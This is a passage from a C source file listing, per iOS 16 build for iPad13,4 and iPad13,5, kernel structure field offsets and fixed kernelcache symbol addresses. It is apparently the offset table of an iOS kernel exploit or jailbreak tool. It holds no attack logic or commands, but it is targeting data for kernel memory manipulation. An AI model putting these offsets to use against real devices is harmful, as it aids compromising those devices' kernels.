0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:54 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aad5288,\n            .kernelcache__gPhysBase = 0xfffffe0007a84100,\n            .kernelcache__gPhysSize = 0xfffffe0007a84100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a822d8,\n            .kernelcache__perfmon_devices = 0xfffffe000ab13520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d45c0,\n            .kernelcache__ptov_table = 0xfffffe00079cf188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab12990,\n            .kernelcache__vm_pages = 0xfffffe00079cbeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ce128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab12988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812374c,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:17:58 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8103\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000ab85ab0,\n            .kernelcache__gPhysBase = 0xfffffe0007a982a8,\n            .kernelcache__gPhysSize = 0xfffffe0007a982a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a96460,\n            .kernelcache__perfmon_devices = 0xfffffe000abc5550,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080f8dfc,\n            .kernelcache__ptov_table = 0xfffffe00079e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000abc4910,\n            .kernelcache__vm_pages = 0xfffffe00079e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000abc4908,\n            .kernelcache__vn_kqfilter = 0xfffffe0008147958,\n        },\n\n        // iPad Pro 11 inch 5th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:33 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f5190,\n            .kernelcache__gPhysBase = 0xfffffe00079a00c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a00c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e2a8,\n            .kernelcache__perfmon_devices = 0xfffffe000aa303b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7f50,\n            .kernelcache__ptov_table = 0xfffffe00078eb378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2f800,\n            .kernelcache__vm_pages = 0xfffffe00078e8090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a50c,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            